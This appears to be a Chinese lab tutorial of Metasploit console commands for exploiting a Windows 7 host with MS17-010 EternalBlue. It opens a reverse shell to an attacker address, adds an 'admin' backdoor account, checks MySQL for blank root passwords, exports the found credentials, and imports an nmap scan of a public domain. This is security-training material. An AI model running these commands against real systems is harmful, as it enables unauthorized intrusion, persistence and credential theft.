1.实战-使用 msf 渗透攻击 Win7 主机并远程执行命令
msf5 > search ms17-010
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > show options
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.56
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
msf5 > search ms17-010
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.56
msf5 exploit(windows/smb/ms17_010_eternalblue) > show targets
msf5 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell
type:payload
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload
windows/x64/shell/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options #查看加载到的payload信息
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.53
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
C:\Windows\system32>net user admin admin /add
因为 windows 和 linux 的编码不一样导致的
C:\Windows\system32>chcp 65001
C:\Windows\system32>net user
C:\Windows\system32>whoami
msf5 exploit(windows/smb/ms17_010_eternalblue) >Ctrl+c
Abort session 1? [y/N] y
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -i 4
C:\Windows\system32>background
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions
msf5 exploit(windows/smb/ms17_010_eternalblue) > sessions -k 4
msf5 > search mysql_login
msf5 > use auxiliary/scanner/mysql/mysql_login
msf5 auxiliary(scanner/mysql/mysql_login) > show options
msf5 auxiliary(scanner/mysql/mysql_login) > set USERNAME root
msf5 auxiliary(scanner/mysql/mysql_login) > set BLANK_PASSWORDS true
msf5 auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.1.180
msf5 auxiliary(scanner/mysql/mysql_login) > exploit
msf5 auxiliary(scanner/mysql/mysql_login) > creds
msf5 auxiliary(scanner/mysql/mysql_login) > db_export -f xml /root/bak.xml
msf5 auxiliary(scanner/mysql/mysql_login) > exit
所以不再开一台新 Kali,直接重置数据库,当成新的来用
root@xuegod53:~# msfdb reinit
root@xuegod53:~# msfconsole
msf5 > hosts
msf5 > db_import /root/bak.xml
msf5 > hosts
Hosts
=====
address mac name os_name os_flavor os_sp purpose info comments
------- --- ---- ------- --------- ----- ------- ---- --------
192.168.1.54 device
192.168.1.180 Unknown device
msf5 > hosts -h
msf5 > hosts -c address,name,os_name
msf5 > hosts -d 101.200.128.35
root@xuegod53:~# nmap -A xuegod.cn -oX xuegod.xml
msf5 > db_import /root/xuegod.xml
msf5 > hosts
msf5 > services
msf5 > services -R 192.168.1.180